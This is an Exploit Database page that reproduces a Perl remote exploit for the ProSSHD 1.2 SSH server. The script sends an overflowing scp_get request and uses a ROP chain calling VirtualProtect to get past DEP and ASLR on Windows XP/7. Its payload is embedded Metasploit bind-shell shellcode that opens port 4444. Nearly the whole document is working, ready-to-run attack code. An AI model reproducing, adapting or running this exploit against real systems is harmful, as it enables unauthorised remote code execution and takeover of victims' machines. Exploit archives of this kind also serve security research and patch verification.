ProSSHD 1.2 – (Authenticated) Remote (ASLR + DEP Bypass)

• Exploit Database
• 9 阅读

• 作者： Alexey Sintsov
  日期： 2010-05-03
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/12495/

• # Exploit Title: ProSSHD 1.2 remote post-auth exploit (w/ASLR and DEP bypass)
  # Date: 03.05.2010
  # Author: Alexey Sintsov
  # Version: 1.2
  # Tested on: Windows XP SP3 / Windows 7
  # CVE : 
  # Code : 
  
  ################################################################################
  # Original exploit by S2 Crew [Hungary] 
  # * * *
  # ROP for DEP and ASLR bypass by Alexey Sintsov from DSecRG [www.dsecrg.com]
  # * * *
  # Tested on:ProSSHD v1.2 on Windows XP and Windows 7 with DEP for all
  # 
  # Special for XAKEP magazine[www.xakep.ru]
  #
  #
  # CVE: - 
  
  #!/usr/bin/perl 
  
  use Net::SSH2; 
  
  $username = ''; 
  $password = ''; 
  
  $host = '192.168.126.129';#Remote host
  #$host = '192.168.13.6'; 
  $port = 22; 
  
  
  # windows/shell_bind_tcp - 368 bytes
  # http://www.metasploit.com
  # Encoder: x86/shikata_ga_nai
  # LPORT=4444, RHOST=, EXITFUNC=process, InitialAutoRunScript=, 
  # AutoRunScript=
  $shell = 
  "\xba\xda\x29\x13\xda\xd9\xe9\xd9\x74\x24\xf4\x58\x31\xc9" .
  "\xb1\x56\x31\x50\x13\x83\xc0\x04\x03\x50\xd5\xcb\xe6\x26" .
  "\x01\x82\x09\xd7\xd1\xf5\x80\x32\xe0\x27\xf6\x37\x50\xf8" .
  "\x7c\x15\x58\x73\xd0\x8e\xeb\xf1\xfd\xa1\x5c\xbf\xdb\x8c" .
  "\x5d\x71\xe4\x43\x9d\x13\x98\x99\xf1\xf3\xa1\x51\x04\xf5" .
  "\xe6\x8c\xe6\xa7\xbf\xdb\x54\x58\xcb\x9e\x64\x59\x1b\x95" .
  "\xd4\x21\x1e\x6a\xa0\x9b\x21\xbb\x18\x97\x6a\x23\x13\xff" .
  "\x4a\x52\xf0\xe3\xb7\x1d\x7d\xd7\x4c\x9c\x57\x29\xac\xae" .
  "\x97\xe6\x93\x1e\x1a\xf6\xd4\x99\xc4\x8d\x2e\xda\x79\x96" .
  "\xf4\xa0\xa5\x13\xe9\x03\x2e\x83\xc9\xb2\xe3\x52\x99\xb9" .
  "\x48\x10\xc5\xdd\x4f\xf5\x7d\xd9\xc4\xf8\x51\x6b\x9e\xde" .
  "\x75\x37\x45\x7e\x2f\x9d\x28\x7f\x2f\x79\x95\x25\x3b\x68" .
  "\xc2\x5c\x66\xe5\x27\x53\x99\xf5\x2f\xe4\xea\xc7\xf0\x5e" .
  "\x65\x64\x79\x79\x72\x8b\x50\x3d\xec\x72\x5a\x3e\x24\xb1" .
  "\x0e\x6e\x5e\x10\x2e\xe5\x9e\x9d\xfb\xaa\xce\x31\x53\x0b" .
  "\xbf\xf1\x03\xe3\xd5\xfd\x7c\x13\xd6\xd7\x0b\x13\x18\x03" .
  "\x58\xf4\x59\xb3\x4f\x58\xd7\x55\x05\x70\xb1\xce\xb1\xb2" .
  "\xe6\xc6\x26\xcc\xcc\x7a\xff\x5a\x58\x95\xc7\x65\x59\xb3" .
  "\x64\xc9\xf1\x54\xfe\x01\xc6\x45\x01\x0c\x6e\x0f\x3a\xc7" .
  "\xe4\x61\x89\x79\xf8\xab\x79\x19\x6b\x30\x79\x54\x90\xef" .
  "\x2e\x31\x66\xe6\xba\xaf\xd1\x50\xd8\x2d\x87\x9b\x58\xea" .
  "\x74\x25\x61\x7f\xc0\x01\x71\xb9\xc9\x0d\x25\x15\x9c\xdb" .
  "\x93\xd3\x76\xaa\x4d\x8a\x25\x64\x19\x4b\x06\xb7\x5f\x54" .
  "\x43\x41\xbf\xe5\x3a\x14\xc0\xca\xaa\x90\xb9\x36\x4b\x5e" .
  "\x10\xf3\x7b\x15\x38\x52\x14\xf0\xa9\xe6\x79\x03\x04\x24" .
  "\x84\x80\xac\xd5\x73\x98\xc5\xd0\x38\x1e\x36\xa9\x51\xcb" .
  "\x38\x1e\x51\xde";
  
  
  
  $fuzz = "\x41"x491 .# buffer before RET addr rewriting
  
  ############################### ROP 
  # All ROP instructions from non ASLR modules (coming with ProSHHD distrib): MSVCR71.DLL and MFC71.DLL 
  # For DEP bypass used VirtualProtect call from non ASLR DLL - 0x7C3528DD (MSVCR71.DLL)
  # this make stack executable:
  
  #### RET rewrite###
  "\x9F\x07\x37\x7C".# MOV EAX, EDI / POP EDI / POP ESI / RETN 	; EAX points on our stack data with some offset
  
  "\x11\x11\x11\x11".# JUNK---------------^^^ ^^^
  "\x22\x22\x22\x22".# JUNK-------------------------^^^ 
  "\x27\x34\x34\x7C".# MOV ECX, EAX / MOV EAX, ESI / POP ESI / RETN 10
  "\x33\x33\x33\x33".# JUNK------------------------------^^^ 
  
  "\xC1\x4C\x34\x7C".# POP EAX/ RETN
   # ^^^ 
  "\x33\x33\x33\x33".# ^^^
  "\x33\x33\x33\x33".# ^^^
  "\x33\x33\x33\x33".# ^^^
  "\x33\x33\x33\x33".# ^^^
   # ^^^
  "\xC0\xFF\xFF\xFF".# ----^^^Param for next instruction...
  "\x05\x1e\x35\x7C".# NEG EAX /RETN 	 ; EAX will be 0x40 (param for VirtualProtect)
  
  "\xc8\x03\x35\x7C".# MOV DS:[ECX], EAX / RETN; save 0x40 (3 param)
  "\x40\xa0\x35\x7C".# MOV EAX, ECX / RETN		 ; restore pointer in EAX 
  
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN ; Change position
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN						
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN				; EAX=ECX-0x0c
  
  "\x08\x94\x16\x7C".# MOV DS:[EAX+0x4], EAX / RETN ;save addres for VirtualProtect (1 param)
  
  "\xB9\x1F\x34\x7C".# INC EAX / RETN				; oh ... and move pointer back
  "\xB9\x1F\x34\x7C".# INC EAX / RETN
  "\xB9\x1F\x34\x7C".# INC EAX / RETN
  "\xB9\x1F\x34\x7C".# INC EAX / RETN				; EAX=ECX=0x8
  
  "\xB2\x01\x15\x7C".# MOV [EAX+0x4], 1			; size for VirtualProtect (2 param)
  
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN ; Change position for output from VirtualProtect
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN						
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN
  "\xA1\x1D\x34\x7C".# DEC EAX/ RETN
  
  "\x27\x34\x34\x7C".# MOV ECX, EAX / MOV EAX, ESI / POP ESI / RETN 10
  "\x33\x33\x33\x33".# JUNK------------------------------^^^ 
  
  "\x40\xa0\x35\x7C".# MOV EAX, ECX / RETN		 ; restore pointer in EAX 
   #
  "\x33\x33\x33\x33".# 
  "\x33\x33\x33\x33".# 
  "\x33\x33\x33\x33".# 
  "\x33\x33\x33\x33".# 
  
  "\xB9\x1F\x34\x7C".# INC EAX / RETN			 ; and again... 
  "\xB9\x1F\x34\x7C".# INC EAX / RETN
  "\xB9\x1F\x34\x7C".# INC EAX / RETN
  "\xB9\x1F\x34\x7C".# INC EAX / RETN
  
  "\xE5\x6B\x36\x7C". # MOV DS:[EAX+0x14], ECX ; save output addr for VirtualProtect (4 param)
  
  "\xBA\x1F\x34\x7C"x204 . # RETN fill.....
  
  "\xDD\x28\x35\x7C".# CALL VirtualProtect / LEA ESP, [EBP-58] / POP EDI / ESI / EBX / RETN;Call VirtualProtect 
  "AAAABBBBCCCCDDDD". # Here is place for params (VirtualProtect) 
  
  ####################### retrun into stack after VirtualProtect
  "\x1A\xF2\x35\x7C". # ADD ESP, 0xC / RETN; take next ret 
  "XXXYYYZZZ123". # trash
  "\x30\x5C\x34\x7C". # 0x7c345c2e: ANDPS XMM0, XMM3-- (+0x2 to address and....)--> PUSH ESP / RETN ; EIP=ESP
  
  "\x90"x14 . # NOPs here is the begining of shellcode
  
  $shell; 	# shellcode 8)
  	
  
  $ssh2 = Net::SSH2->new(); 
  $ssh2->connect($host, $port) || die "\nError: Connection Refused!\n"; 
  $ssh2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n"; 
  #sleep(10);
  $scpget = $ssh2->scp_get($fuzz); 
  $ssh2->disconnect();